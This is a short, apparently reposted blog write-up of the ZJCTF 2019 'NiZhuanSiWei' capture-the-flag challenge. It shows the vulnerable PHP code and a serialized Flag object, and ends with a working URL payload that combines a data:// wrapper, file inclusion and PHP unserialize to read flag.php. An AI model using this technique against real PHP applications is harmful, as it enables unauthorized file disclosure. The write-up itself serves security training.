其他分享
首页 > 其他分享> > [ZJCTF 2019]NiZhuanSiWei

[ZJCTF 2019]NiZhuanSiWei

作者:互联网

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>
<?php  
class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  
<?php  
class Flag{  //flag.php  
    public $file = 'flag.php';  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
$test = new Flag();
echo serialize($test);
?> 

得到O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

payload
/?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
查看源代码 v_v

标签:password,ZJCTF,text,echo,NiZhuanSiWei,2019,useless,file,php
来源: https://www.cnblogs.com/sunix-blog/p/13948229.html